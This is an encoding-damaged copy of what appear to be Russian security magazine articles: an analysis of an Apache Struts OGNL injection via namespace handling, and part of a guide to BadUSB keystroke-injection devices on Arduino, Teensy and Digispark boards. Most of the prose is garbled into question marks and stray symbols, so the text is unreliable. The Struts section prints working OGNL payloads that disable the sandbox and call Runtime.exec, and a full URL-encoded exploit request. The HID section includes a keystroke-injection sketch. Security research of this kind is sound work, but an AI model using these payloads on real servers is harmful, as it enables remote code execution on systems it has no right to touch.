??�??�??�?� ???�???�?� ???�??,� ???� ???????� ???�????� ???�??�??�??� ????�
?????�?.� ???�??� ??� ???� ?� ???�?� ?????� alwaysSelectFullNamespace� ?????�
???�???� ?� true.� ?????� ???�???�?,� ???�????,� ??????�???� ?????� ???????�??
???�??�??燬truts�??�??�???�?燙onvention.
/plugins/convention/src/main/resources/struts-plugin.xml
...
<struts爋rder="20">
�...
�constant爊ame="struts.mapper.alwaysSelectFullNamespace"爒alue=
"true"/>
�...
??�?� ????� ???�???�??� ??????�???� ????� ???�??,� ???�??,� ???� ???�???.� Struts
Showcase�??�?????�???.
/struts2-showcase/META-INF/maven/org.apache.struts/struts2showcase/pom.xml
...
<dependency>
�groupId>org.apache.struts</groupId>
�artifactId>struts2?convention?plugin</artifactId>
</dependency>
...
???�??� ????�??� ?� ????� ???�???�??� ??????�???� ???�????� (actions),� ???????
????�?????�???�?� ???� ???�????� ???�???�???� ????�????�??� ????� (name?
space),�??�?????�???��????�??�???�??�???�??�??�??�?�(/*).�??�????�
???�?� ??� ????�?� ?� ???�???�?,� ????�????�??� ????�?� ???�?????�???�??� ????�
???� Struts,� ??� ?� ?� ????�????�??� ????,� ??????�?????� ?????�???�???�?
?� ????????� ????.� ???�???,� ??� ???�?� ???�????� ????�?� ??� ????�???� ????
struts?actionchaining.xml?� ???� ?????� ??� ???�???� ????�??� ???� ????�
??????�??�?.
/webapps/struts2-showcase/WEB-INF/classes/strutsactionchaining.xml
...
<result爐ype="redirectAction">
�param爊ame��"actionName">comehere</param>
</result>
...
??�??�??�?� ???�???�?� ?????� ????� result,� ???????� ???�???,� ????� ???????�
??????�?�??�??�????�???�????�??�???:
? redirectAction��??�???�?,�??�??�?�????�????�?????�?�???�?�??�?
????????�??????�??�?�??�???
? postback� ?� ???� ??????�???,� ????�???�?� ???????� ???????�?� ???�???
?�???�??�?,�??????�?????�?�??�??��??�??�??�??�?�??�???????
? chain� ?� ??????�???�?,� ???�?� ????�?????� ???�??�???� ???�???�?� ????�??
?� ????� ???�?????�???�??� ?????�?,� ??????�??� ???????� ????????� ?????�
??????�?.
?�????�??�??�??�??� redirectAction,�?�???�???�?????�???�????� ac?
tionChain1,�?�??�???�??�??????�??�??�?燾omehere.
GET�/struts2?showcase/actionChain1.action燞TTP/1.1
Host:爏truts.vh:8080
Connection:燾lose
??�???�??????�???爎edirectAction��???爎esult.�???????�?�??�??�??
?????
???�?????�??�???�???�???�?�???�??� ServletActionRedirectResult.�?
?????�??�???�?� ?????� execute,� ???????� ????�???�???� ???� ???�??� ??????
???�????.
/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
128:爌ublic燾lass燬ervletActionRedirectResult爀xtends燬ervletRedirect
Result爄mplements燫eflectionExceptionHandler爗
...
165:牋爌ublic爒oid爀xecute(ActionInvocation爄nvocation)爐hrows燛xcept
ion爗
166:牋牋燼ctionName�燾onditionalParse(actionName,爄nvocation);
167:牋牋爄f�(namespace�=爊ull)爗
168:牋牋牋爊amespace�爄nvocation.getProxy().getNamespace();
169:牋牋爙爀lse爗
170:牋牋牋爊amespace�燾onditionalParse(namespace,爄nvocation);
171:牋牋爙
??�???� ???�????� ??� ??????� ?� ????�????�???� ????.� ????� ???� ??� ???�???
???� ????�?,� ??� ???????� ???�???�??� ????????,� ??� ?????�???�?� ????�???�??
invocation.getProxy().getNamespace().� ???� ??????�?� namespace
??�???????�??�?�???�?,�??????�?????�?燾omehere.
??�????�?????爀xecute�???�?燬ervletActionRedirectResult
???� ???� ???� ?????� ?� ???�????,� ??� ?� namespace� ?????� ?????� /.� ??????� ????�
????�?�??�???�????�???燾ustom/actionChain1.action.
GET�/struts2?showcase/custom/actionChain1.action燞TTP/1.1
Host:爏truts.vh:8080
Connection:燾lose
??�???�???�????�???�????�???�???��??????燯RI
???�???�??�???�?,�??� custom��??�???�????,��?????�???�??��????�
?????�??� ????� ???� ???�?????�??� ???????�?.� ???�?????,� ???� ???�???�??
?�??�???�?�?�???.
/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
178:燬tring爐mpLocation�燼ctionMapper.getUriFromActionMapping(new�
ActionMapping(actionName,爊amespace,爉ethod,爊ull));
??�??� getUriFromActionMapping� ???�??�???� ???????� URI� ??� ????�?,
??�??????�???�?�???????.�?�????�???�?�?�????�??�?�??�???燗ction?
Mapping.
/org/apache/struts2/dispatcher/mapper/DefaultActionMapper.java
487:爌ublic燬tring爂etUriFromActionMapping(ActionMapping爉apping)爗
488:牋燬tringBuilder爑ri�爊ew燬tringBuilder();
489:
490:牋爃andleNamespace(mapping,爑ri);
491:牋爃andleName(mapping,爑ri);
492:牋爃andleDynamicMethod(mapping,爑ri);
493:牋爃andleExtension(mapping,爑ri);
494:牋爃andleParams(mapping,爑ri);
495:
496:牋爎eturn爑ri.toString();
497:爙
??�????�?????爂etUriFromActionMapping
??�??�??????�??�???�?�?????�???�?�爏etLocation��????�??�???�??�?.
/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
178:燬tring爐mpLocation�燼ctionMapper.getUriFromActionMapping(new�
ActionMapping(actionName,爊amespace,爉ethod,爊ull));
179:�
180:爏etLocation(tmpLocation);
org/apache/struts2/dispatcher/StrutsResultSupport.java
106:爌ublic燼bstract燾lass燬trutsResultSupport爄mplements燫esult,�
StrutsStatics爗
...
143:牋爌ublic爒oid爏etLocation(String爈ocation)爗
144:牋牋爐his.location�爈ocation;
145:牋爙
?� ???????,� ??????�???� ?????� execute� ??� ????????�??�?� ????�?� StrutsRe?
sultSupport.
/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
165:爌ublic爒oid爀xecute(ActionInvocation爄nvocation)爐hrows燛xcept
ion爗
...
180:牋爏etLocation(tmpLocation);
181:
182:牋爏uper.execute(invocation);
183:爙
/org/apache/struts2/dispatcher/StrutsResultSupport.java
106:爌ublic燼bstract燾lass燬trutsResultSupport爄mplements燫esult,�
StrutsStatics爗
...
189:牋爌ublic爒oid爀xecute(ActionInvocation爄nvocation)爐hrows燛xcept
ion爗
190:牋牋爈astFinalLocation�燾onditionalParse(location,爄nvocation);
??�???�???�???�?�?????�???�?�燾onditionalParse.
/org/apache/struts2/dispatcher/StrutsResultSupport.java
201:爌rotected燬tring燾onditionalParse(String爌aram,燗ctionInvocation
invocation)爗
202:牋爄f�(parse�&&爌aram�!=爊ull�&&爄nvocation�!=爊ull)爗
203:牋牋爎eturn燭extParseUtil.translateVariables(
204:牋牋牋爌aram,�
205:牋牋牋爄nvocation.getStack(),
206:牋牋牋爊ew燛ncodingParsedValueEvaluator());
207:牋爙爀lse爗
208:牋牋爎eturn爌aram;
209:牋爙
210:爙
??�??燾onditionalParse�?�???????�??�?�???�?燬trutsResultSupport
??�??�???�?�??�????�???�燭extParseUtil.translateVariables.
/com/opensymphony/xwork2/util/TextParseUtil.java
38:爌ublic燾lass燭extParseUtil爗
...
73:牋爌ublic爏tatic燬tring爐ranslateVariables(String爀xpression,�
ValueStack爏tack,燩arsedValueEvaluator爀valuator)爗
74:牋牋爎eturn爐ranslateVariables(new燾har[]{'$',�'%'},爀xpression,�
stack,燬tring.class,爀valuator).toString();
75:牋爙
??�????�?????爐ranslateVariables
????� ?????� ???�??� ????�?,� ?� ????� ?� ???� ????�???�?� ???�????� ??????�??
OGNL,�?�??�????�???�?�????� OgnlTextParser.�???�????�????�??????�
???� ???�??� ????�???�??� ????� ${}� ???� %{}.� ?????� ?????�??� ????�?� custom
OGNL燾�???�??�?????�????�??�??�???�?��${31337+1337}.
GET�/struts2?showcase/actionChain1.action燞TTP/1.1
Host:爏truts.vh:8080
Connection:燾lose
??�????�?????爐ranslateVariables
???�?�??�?�??????�???�???�???�?�??�??�???�?�� evaluator.evaluate,
???�????�???�?�??�??�??�???�?????�??.
/com/opensymphony/xwork2/util/OgnlTextParser.java
08:爌ublic燾lass燨gnlTextParser爄mplements燭extParser爗
...
10:牋爌ublic燨bject爀valuate(char[]爋penChars,燬tring爀xpression,�
TextParseUtil.ParsedValueEvaluator爀valuator,爄nt爉axLoopCount)爗
...
13:牋牋燨bject爎esult�爀xpression��(expression�=爊ull)��""��
expression;
...
46:牋牋牋爄f�((start�!=�1)�&&�(end�!=�1)�&&�(count�=�)爗
47:牋牋牋牋燬tring爒ar�爀xpression.substring(start�+�爀nd);
48:�
49:牋牋牋牋燨bject爋�爀valuator.evaluate(var);
????�????燨GNL???????�??�燬truts�??�???�????� ?????� ???�?� 32� 674.� ?� ???�?� ??????�???� URI� /32674/comehere.
action,��???�?�?????�?��????燿oExecute.
/org/apache/struts2/dispatcher/StrutsResultSupport.java
189:爌ublic爒oid爀xecute(ActionInvocation爄nvocation)爐hrows燛xcept
ion爗
...
191:牋燿oExecute(lastFinalLocation,爄nvocation);
192:爙
??�?????�????�????�???�????�?燨GNL???????�??�燬truts�?�??�???�??�???????�?�??�??燯RL.
??�?????�?�?????�??�???�????�?�?????�??燨GNL
??�???,�????�?�??�?�??�??�??�????�????�??�?????�???�???.�??�?
???� ???�??�???,� ??????�???� ???????� ?????�??� ???�????� ???� ?????�?� ?????�
??????�?.
${(#dma=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['
struts.valueStack'].context).(#ct.setMemberAccess(#dma)).(@java.lang.
Runtime@getRuntime().exec("calc"))}
???�???� ????�???� ???�???????� ??????� ???�??�??� ???????� ?� ???�??�??
??????�??� OGNL.� ?????� ?????�???� ?????�?� ???� ??????� ????�??�??�?
java.lang.Runtime.exec.
??�??�????�??�?????�???�???�燬truts�3.34
???�??�??????�?????�?�?�??�??,�???�?�???�???�?�??�???�??.��??
?�??�??�???�?????�??�????�????�?�???�??�???�?�??�?????��?????�
?????� ?� ?????� ???????�????.� ?????� ??� ???�??� ?� ??� ????� ???�?� java.lang.
Runtime.�??�?�??�???�???�???�???�??��?????�???�??:
${(#dma=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['
struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.Action
Context.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.
ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.
getExcludedClasses().clear()).(#ct.setMemberAccess(#dma)).(#cmd=@java
.lang.Runtime@getRuntime().exec("calc"))}
?????� ???�???� ???�???�?� ???�??� ???�????�??� ???� ??????� ????�??,� ?� ?????
???�????�???�?�??.
???�????�?�??�??�??�??��?????�???�??�?�?????� result�� postback
?燾hain.�?????�??�??�?????,�??�???�??�????�??�??�?�??�?.
<result爐ype="postback">
�param爊ame��"actionName">backhere</param>
</result>
<result爐ype="chain">
�param爊ame��"actionName">chainhere</param>
</result>
??�???�???�???��??�???�?????爎esult,�???�??�???�??�???????�???�
???�??�??� ???�????�?� ?� ???�?� ??????�???�?� ????� s:url.� ????� ????�???
?�???�?????�???�????爌ackages,��??????�???�????�??�???�?�??�???,
??�????�?????�???燫CE.�??�???�??�?�??�???.
????�???� showcase.jsp� ???????�?� ??� ????�????� ?� ???�????,� ???�??
???,�??�?�???�??�?�???�???�?��??????�??�??�?�???�?.
/src/apps/showcase/src/main/resources/struts.xml
<struts>
�...
�package爊ame="default"爀xtends="struts?default">
牋�...
牋�default?action?ref爊ame="showcase"�/>
牋�action爊ame="showcase">
牋牋�result>/WEB?INF/showcase.jsp</result>
牋�/action>
牋�...
??�????��??�???�?�s:url/>.
/src/apps/showcase/src/main/webapp/WEBINF/showcase.jspshowcase.jsp
14:�body>
15:牋�div燾lass="container?fluid">
16:牋牋�div燾lass="row?fluid">
17:牋牋牋�div燾lass="span12">
18:�
19:牋牋牋牋�div燾lass="hero?unit">
...
23:牋牋牋牋�/div>
24:牋牋牋牋燙urrent燯RI:�s:url�/>
25:牋牋牋�/div>
26:牋牋�/div>
27:牋�/div>
??�??�???�????�?????�?燯RI�???�???�燬truts�howcase
??�???�??�???�???�?�????�??�????�??�??�?????,�???�?�????�??�?
?????�???�???�??�???�%{}.
GET�/struts2?showcase/%25%7B%28%23dma%3D%40ognl.OgnlContext%40DEFA
ULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueS
tack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.
ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getIns
tance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.
%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExc
ludedClasses%28%29.clear%28%29%29.%28%23ct.setMem
berAccess%28%23dma%29%29.%28%23cmd%3D%40java.lang.Runtime%40getR
untime%28%29.exec%28%22calc%22%29%29%7D/notfound燞TTP/1.1
Host:爏truts.vh:8080
Connection:燾lose
?�??�?�???�??�??�?�?????�?????�?燯RL,�??�????�????,��????�???
????�??�??�???�???�?????�?.
??�??�????�??�?????�???�???�燬truts�??�?????�??????�????爏:url
????????????�?????????�(?????)
??????
???�????�?��?????�???�???�???????�???�??�??��??�??燨GNL�??�???�
???�???�???�???????�???�????燬truts��???�?�??�燬2?045�(CVE?2017?
5638)��??�??�??�??�??�?�0�????�??�??.�????�???�??�?,�??��???�
??????� ???�??� ???�????�???� ????� ???� ????�?� ?� ????�??� ??????� ????� ??????
??� ???????� ????�?.� ???� ???� ???�???� ??�?????�?� ??� ?????� ???�??.
??�?????�?????�??�?????�??�5.17��3.35.
???�?�??????�??�??�?????�??� ??�???�???�?�?�?燣GTM.��??�?
???�????� ???�??�???�?,� ???� ?� ???????� ???�???� ?????�??� ???�????�??
?� ???�???�??� ???�????� ??� ???�?� Semmle� QL� ???�???� ????�?????� ???�??�??
????�???��???.
?????
?????�??????
vegelin47@mail.ru
????
HID
??????
?�????????????
?????????�?????
???燞ID?????
???�??�???�????� ????� USB� ???�???� ????�??� ??�??�?????
???�?.�????�???�???�?�??�??�?????�???????�??�?�????�
??� ???�?� ???� ?????�?� ?????�???� ???�??� ??????�??????� USB.
?�??�??�?????�?�??�???�??�???�?�????�???????�??
????�????� ?� ????�???�???�??�??� ??????�?� ??????
???�?????�???????�???�?????�???�???�?燞ID.
HID-?????
HID????�?� ?� ???�??� ???�????�????� BadUSB.� ??� ????� ???�??�?� ?� ????,� ???
?� USB?????� ?????�???�?� ????�??�??� ?????�???� ??????,� ???�???�???
??????�???�??�?.�???�????�?�????�??�????�??�?�??�????�???爌lug?n?
play� ?� ?????�??� ???�??�???�??� ????�??� ??????�???� ???�???� ????�?.� ??????�
????�?????�???�???�??�?�???�???�???�?�??�??�??�??燞uman營nterface
Device�燞ID.�????�?�???�??�??�??�????�??�???�?�??�????�?.
????�??�?�??????�????�??�??�???�????燯SB?????.�??�????,� Rubber
Ducky��?�??�????�????.�?�??�?????,�???�??�??�????�???�?,�??�???�
????�????�??�?�?????.�??�?????�?�???�?�(???�?�??�??�??)��?????.
???�???�???�?�?�???�??�?�?????�??�?.
???�??�????� HID????�?� ?????� ???�??� ????�??� ???�?� ???�???�?:� ???� ????�
?????,� ???????�????� ?� ????�???�????.� ???� ????�??????� ???�????� ??????�
?????�??�???,�??�?�??�???�??�???�?�?�?�??�????�?,��??�??�????
(????�?�?�???�???�???�?).�??�??�???�燯SB????�?�???�???�??�??????�
????�??�?�?�???�?????.�??�?�????�?????,�??�?????�?�?�????�???�
?????�?� ?� ???????�?� ????�?????�?� ?????� ???�?.� ?????� ?????� ??????�??
????????�??�?????�??�?�???�???��??�??�?�????�???�?�???�?�?????�
???�??�??.��???�??�??�??�??�?�???�?�?????�??�?�???�?�牜???�???�
??粻????�?????�??�??�?????�?�????�?,�??�?�???�???�?????�???�????
???�??�????�?.
WARNING
??????�?????�?��????�???�???�???�????.�??
???????�??��??�????�???�???�???�??�?????�
???.�?�????,�?�????�??�?�????�?????�????�
?????�?�??�??????�??�?????�??????�??�????�
???��??�???�??�??�???�???,�???�???��???�
???!
????????�?????????�????????
???�?????�????�????�???�????�?�??�?��?�???????�????�(???�?燫asp?
berry� Pi),� ??� ???� ???� ???�?� ???� ??????�???� ????�??� ??� ????.� ????� �?????
????�??粻??�????�????�???,�?�?�????牜????粻?�???�??��????�?�???.
??� ????,� ???� ?????�????� HID????�?� ???� ????�????� ???�????�???�??,� USB?
????��???????�??�???�???�??�??????,�??�?�??�??�?????�???.
Arduino燤icro燩ro
??�??�?????,�??�???�?�??�??�??�??�??????�?�???�????�??�?�?????�
??.
Arduino燤icro燩ro
???�?� ???�????� 33�� ??� ??????�?� ??� ???�????�???�???
ATmega32u4� ?� ???�?� ??� ???�?� 28� ?????� ???�??�??� ??????� (????�?
??????� 32� ?????,� ??� 4� ?????� ???� ??????� ???�????�??).� ?� ???� ?????� ???�?
????????,�??�??�??�??燗rduino�?????�??�????�???�?��??�???�?????�?
???�?� ???????�????.� ???�?� ???� ????� ????� ???????� ???�?� ???�????�?� Arduino
IDE� ?� ???�??�???�???� ???� Windows,� Linux� ?� macOS.� ??????� ???�?� ???�?
??�0�??�??.
Teensy燣ow燙ost
Teensy燣C
??�????� ???�??�?????� ?� ?????�???� ????� Teensy,� ???�????�??� ?� Arduino.
?� ????� ???�?� ???�?� ??????�?????� Arduino� IDE.� ???�????,� ???�?� Teensy� LC
???�????� 17�� ??� ????�???� ???�??�?????� ?????� ARM� Cortex?M0+
?��????�?????.�?????�?��??�??�????�???�???�??????�?�(????????
????�???�???�?�??�???燭eensy�2?3.6),�?�???????�????�?????�???�?
???�????.�???�?燭eensy燣C�?????�???�?��??�????.
Digispark
???�??� ????�?,� ???� Digispark� ?� ???� ?????� ???�??????� ???�?� ???� HID?????.
??,�??�???�???�?�?�?????�??�??????�??��?????�??:�??�??�??�???�
???���?,�???�????�?�??�??�??�??�???�(?�????�???�?),燯SB?????�?
????���???�??�???�????�?�0?150�??�??.
??�???� ?� ??????�??????� ???� ??� ???� ????�?.� ????� ???�??�???� ??� ???�?
?� ????� USB� 2.0� (???� ?????� USB????� v.2.0)� ????� ?????� ?� BIOS,� ?????�???� xHCI
?� ???�??????� ?????� USB� 3.0� ???�?� ???� USB� 2.0� compatible.� ????????� ????�
?????�????� ?� ???�??� USB� 3.0� ?� 2.0� ????�???,� ??� ?????� ?????� ?????,� ???�?
???�????�?�?????�???,�??�??�?�?燱indows�.
Digispark
??�???�?� ???�??� ???�?� ???� ???????�???� ???�????�???�???� Attiny85.
?� ???????� ?� ???� ?????�?� ?� ???�?� 8� ?????,� ??� ???????� ???� ???� ??????� ????�
?????�??.�??�??�?�???�????�?�???�???�??燫OM��2�???�??�???????�
????�??,�?�???�???�??�???��?????.
???�??�??� (????� ???� ???�?� ???� ???�???)� ?????� ??� ???�?????� ?� Arduino
IDE,�
????�?�
????????�?�
??????�?????�
???�??�
1.6.5r2,
?�6.6��6.7�?�??????�???�?�??�?.燚igispark燱iki�????�?�??�??�????�?
????�?�?牜????�????粻????�??�?�燗rduino營DE,�??�??�?� ???�???�??�???�
?????�?�??????�??�??�??�?.
???�??�?????
??�?� ?� ???�??� ???� ???�???� ???� ???�?,� ???????,� ??� ???� ??????,� ???�??�?
???�????� ???� HID?????,� ??� ???� ???�???�??� ??????� ?????� ????� ????�??�??
?????� ????????� ???�??.� ???� ???� ???�???� ????� ?� ??????�??� ????�??????,
??????�??�???�????�??�?��????�??�??�??�???�???�???�???.
NodeMCU� ?� SparkFun� ?� ???�????�???�????� ESP8266.� ????� ???� ????�
??????�??�?� ?� ???�????�???� ??� ???�??�??� Wi?Fi,� ?????�?� ???�?� ?� ???�???�
???�??� ???????� ??????�???� ??????�?� ????�???.� NodeMCU� ???�?� ????�
???���?�??�?�????�????�??�???�?�0�??�??.�???�?�???�???�
????�???� ???�?????�??� ???�?,� ??� ???�??�??�??� ???�??�????� ?????� ???�??
??�??�??.
SparkFun��????�??�??,�?�??�???�????�(??��??�????�?�???�????
???�??�??).�???�?�??�??�???�??�??�?????�燗rduino營DE,�??�???�?�???�
?????�?�???�??.
???�??�????�?� Particle� Photon� ?????� ??� ???�?� ?� ESP8266,� ??� ???� ????
?????�?� ????.� ??� ???�?� ?� ????� ??????�?� ???????� ?� ?????�??� ???� HID?????
ARM� Cortex� M3� STM32F205RGY6� ?� Wi?Fi????????� Broadcom� BCM43362,� ???
???�???�?� ????� ??� 2000� ???�??� ?� ????.� ??� ?????� ????????� ?� ???� ???�??,
????� ??????� ???�????� ???�????�?� ???�???�???� ?????�???� ????????� ?????
????�??�?????,�??�?????�??�??�???�???�??�??�???�???�??�???燗RM.
INFO
??�???� ???�????,� ???� ??� ????� ???�???�?????
????�???燚igispark�???�??燯SB????�??�???�.
??????�??� ???�?� ????�??� micro?USB� ?� mini?
USB,� ?????�?� ???????� ???�?� ????�??�???� OTG?
????�????� ??� ?????????� ???�?� ???� ???????
???� ???�??�????� ??????� ?????�??�?� ?????�?
?�??�?.
??????�????????�?????�?�???�???????
????�????� ?� ????�????�??� ???�?� ??� ???�???� ???�?� Arduino� micro� Pro
?�??????�???爉ini?USB�燯SB燭ype燗.��????�??�???????�?�?????�????�
??� Kali� Linux� (4.14.0?kali3?amd64),� ??� ??� ???�??� ????�??� Linux� ?� ?� Windows
????�??� ???�??????� ??� ???�??.� Arduino� IDE� v.� 1.8.6� ???�???� ?� ???�????�???
???�?.��????�??�??�??�??�??�??�?�????�???.
??�????�???
???�???�?� ???�??�????,�??�?????�???.��?????�?�????�???��??�?????�
???�??�???�?爄nstall.sh.�??��????�??�?�??????�??:
./install.sh
??�???????�???�??�?�??�???燗dding燿esktop爏hortcut,爉enu爄tem燼nd�le燼s?
sociations� for� Arduino� IDE...� ?� ?????!� ??� ???????� ???�?� ????�???�?� ?????
???�????�?.
??�???� ???�??�???� ????� ???�?.� ????� ???�??� ????� ????�????�?� ????�?
?� IDE,� ?????�?� ???� ????�??????�?� ??????� ????�????�?????,� ???�???????
?�????�???.
??�??�??� lsusb� ???�?� ???�?????,� ???� ??????�???� ????�???�?� ???�?
?�??�???�?�??�?�(Arduino燤icro燩ro�???�???�???�??燣eonardo).
lsusb
???�?????�????�?�??????�???,�?�??????�????�??燣eonardo:
ls�/dev/爘爂rep爐ty
?�???�??爐tyACM0.
ls�/dev/爘爂rep爐ty
??�???�??�?�??????�???營DE.�??�?�??�?�????�?�???��???牜???�???�
???�?粻 ?� ?� ???�???� �??�?粻 ??????�?� Arduino� Leonardo.� ???� ??� ?� �??�???�
???�??粻??????�?�??�??�???�(??�??,�??�??�??�?,�????�???)�?�???�?
tty.
???�?� ????� ???�????� ?????� ???�?� ?� ?????�??�??� ????�??�???,� ????�???�
????� ????�??????� ???�??�??,� ???�?� ??????�???� ?� ??????�??� ????�?� (???
??????�?�??�??燗rduino????�????�??�????�??�???).
???�?�????�?燗rduino營DE�??�????�????�??�?????.
??�??????燗rduino營DE
????�??�???�???�??�????�???�??????燗rduino營DE.�?�??�?�???�???�??
Arduino� Web� Editor.� ??� ???� ??????,� ??� ?????� ???�??,� ??� ???� ???� ????� ???� ??
???�?.�??�??�?????�??????�????�???�?????�??????�??�?????�?�?�???�
??� ????� ????�???�???�?� ?????� Google?????�??.� ???�?� ???� ???�?� ???�??�?
?�?????�????�??�???�???�???�?????� ???�??�(??�???�??燙hrome�燜irefox).
???�????�??��??,�??�??�??????�??�???�?�????�?????�(?�????�??�?
???�?�??�?�????????�??�??��??),�?���????�??�??�??????�???�??????
??????�??�?????.
??�??????燗rduino燱eb燛ditor
?�?????�??�????�???�?????.
??�?????�?� ???�???�??�?� ???????�?� ??� void� setup()� ?� void� loop().
?????�?,� ???� ???,� ???????�??� ?� ???�???� setup(),� ?????� ?????????�?� ???�?
???�?????�??????�?�??�?,�??�??�?�???????�?�???�??.�??�???爈oop(
)�???�??�???�?�??????�????�?�???�??,�??�???�?�??�?????�?�??�????
?????�??�???�?�(????��??�????�??�???�????��???�?????�????�?�???�
???�??�??).
??????????? ??????
?
? �?????�?????
?????
???? HID
??????��????????????
?????????�?????�??燞ID?????
?????�????
???�??�?,�??�?�??�????�?燗rduino�?????�?�???�?�??�????�?.�??�??�?
?�????�?????�??�???�???????�??�????�?燢eyboard.h.
??�??�???????�??�??�?,�?????�?�?�????�???�?????�?:
? Keyboard.begin()��???�?�???�?????�??�?????�??�????�??�?????�
???
? Keyboard.print()��??�??�????�??�?????
? Keyboard.press()��?????�?�??�??�??�??�????
? Keyboard.release()��??????�?�??�??�??�??�????
? Keyboard.releaseAll()��??????�?�??�??�????
? delay()� ?� ????�?� ????�?� ???�????� (???�?� ?????�???� ???� ???� ??????
?????�????�??�????).
???�?� ??????�???� ???�??� ???�?� ???�?� ???.� ???� ????�???� ??� ???????
�?????�?/???????�?� ???�???�,� ???�?????�??,� ???� ???�???�??� ??????�???
??�???????,�??�????�??????�????�???燢eyboard.press/Keyboard.release.
???�??,� ???� ???�???� ?????�?� ????�????�???�??,� ???�?� ?� ???,
???� ????????� ?� ???�???�??�???� ??????�?.� ????� ??� ??????�?� ???????�???
????�??�???,�?�???�???????�??�??��????�??????.�????�?�??�??????
?????�????�???��??????�?????�??�??�???.
??�???�?�??�??�????�???�???�???:
void爁unction_name(){
牋�...
}
?� ????�?� ???�???�???� ???� function_name().� ???� ??????� ???�??� ???�??�?
???????�??�??�??�??�?�?????�??�?.
??�???� ???�?� ???�???????� ????????� ????� ???�??� ?????.� ????� ?� ??????
???�?�??????��???�????�??�???�??,��?�???�???��???.
?� ?????�??� PoC� ??????�???� ?????� ??????:� ???�?� ???�??�????� ??????
?????�?� ?� USB?????� ??� ???�?� ?� Linux� ???�??� ????�???�??�?� ???????�?� ????�
?????,� ?� ?????� ?� ?????�??� ??????�?� ???�???�?� ????� ?� ?????�????� Hello�
World,�??????�????�???�?��??�??�??�????�???�(?�???�????燣eafpad).
?????�??�????�??�?????�???�??.
???�??????
?� ?????� ??????� ???�???� ???�????� ????� ???�????� ????�???�??� #include� c
???�???�?� ??� ??????�??????� ???�????�?� Keyboard.h.� ???� ???� ??????�???
????,� ???� ???�?� ???� ????,� ???�?� ????� ????�??� ????�?� ??????� ????� ??� ????�
?????�?.
?�???�??�???�???�??????�??�???燛nter�??�???,�????�?�???�??�???�
????� ??????�??� ???�???� pressEnter(),� ???� ?� ?� ???�??.� ????�?� ???�????:
???�??????�?�?�??�???�?爏etup(),��??�?�?????�??�??�???燛nter�?????�
????�????�??�(????�???�?,�????�??�??�?).
Keyboard.press(KEY_RETURN);
delay(50);
Keyboard.release(KEY_RETURN);
??�??�???�???????�??�???爒oid爏etup().
Keyboard.begin();�//�?????�???????�?????????
delay(5000);�//�???????�00�?
Keyboard.press(KEY_LEFT_GUI);�//�???????�??????牜????�
delay(5000);
Keyboard.release(KEY_LEFT_GUI);�//�????????�?
delay(500);
Keyboard.print("terminal");�//�????��?????
delay(500);
pressEnter();
delay(1000);
Keyboard.print("echo燞ello燱orld�>爐est");�//�?�???�??????�
????????�??�?????
delay(50);
pressEnter();
delay(1000);
Keyboard.print("leafpad爐est");�//�????????�???爐est�燣eafpad
delay(50);
pressEnter();
????�??� ????� ???,� ??� ???�??� ????�??,� ???�?� ????�?� Hello� World� ??
????????��???�??�???�???��????�???�??�?�??????�??.
??�???� ???�????�??� ????:� ???� ?????� ???�??�??� ???�??,� ??????� ???� ??
?????�?�?????�???�??�?????�?�????�?.�????�??,�?�?�??�????�????
?� ???�??�??� ????� ????�??.� ???� ??????�?� ?????�???� ???????�??� ???�????
???�?�???,�??�??�???�????�??�???�??�??,�??�??�?�?????�???,��???�
???�??� ???� ???� ???�????�?.� ??� ????� ??????�?� ??????� ????�?� ?????� ?� ??????,
?�??�???�?????�???�?�?�??????.�????�?�???�??�??�?�?????�?�???�
???��??????�??�??.�????�??�??�(???�?)�???�?????�?????�??�?,�???�
??�??�?�??�??,�???�?�??�???�?�????.
????�??�???�??�??�????��??�???�??�??�????�?.�?�?????�?�??,
???�???�????�??� ??� ??????�???� ???�???�?.� ????� ?� ??????� ???�??�????
??????� ??????�???� ?� ???�????�?� ?????�??�?� ???�???�?� ?????� ??� ??,
???� ???????� ?????�?� ?????,� ??� ???�???� ???� ???�????� ??� ???????�?.� ???????
?�??�??�????�??�??�???,�????�?,�???�??�???�??�???,��??��??????
???�??�??�?????�???�???.�???�?牜terminal粻???????�?牜????�???�,�?�???�
??�?????�??�?�??�???�??�??.
???????�???
???� ???�???�??� ?????�??� HID?????� ???�?� ??????� ?� ???�??�?� ???�????
??????�???� ????�?????�?.� ??????�??�??� ???� ??� ???�???� Windows� 10� ?????�
??�07.
???�???�???�?????�?
???�?????� ?� ????�?.� ???????�?� ????�??� ???�???�????� ?� USB?????� ??????
???�?,� ?� ?????� ???�???�?� ??????� ??� ???� ???� ?????�???� ??????�??� ????�?
?�????�???�????�??????�???�????/??????.
???�??� ????� ????�?� ?� ???�???� ????????.� ???�??????� FTP????�??� ?� ????�
?????� ??� ????� ??????� ???�????.� ?� ???� ???� ?????� ???�?????� ???�????� ???�?
?�??�?????.�??�???�?�????�??�????�??�??�??�???�???�?�??�???,�?,
?�??�???,�????�???�??�??�???�??�?.
???�???�?�???�燜TP
??�???�?????��??�??:�?,�??�?�????�???�??�????�?�??�??,�?�???
?????��????????�??????�??.�?�?�??�?,�??�??�?�????�??�??�?????�
??????� ??� ?????�?� (??� ???� ???�??� ???�????� ??????????????�????,� ???�????
??????�?????�????�??�?��??�???�??�??�??�????).�??�?�??�?�?????
??,�??�?�?????�?????�?????��??�?�??�??燬SD�(?�??�??�?�?�??????�
??),�?�??�??�??�????��????�??�?�燞DD...�????,�?�??�??�????.
??�??�???�?�???�??�??�????,�??燯SB????�????�?�???�???�???燘IOS
???�?�??�????�?.�燯EFI�???�?�??????�???�?�??�????�??�??�??�??
USB????�??�??�??�??�??��?????�?�??�???�?�??燞ID??????�??�燯SB?
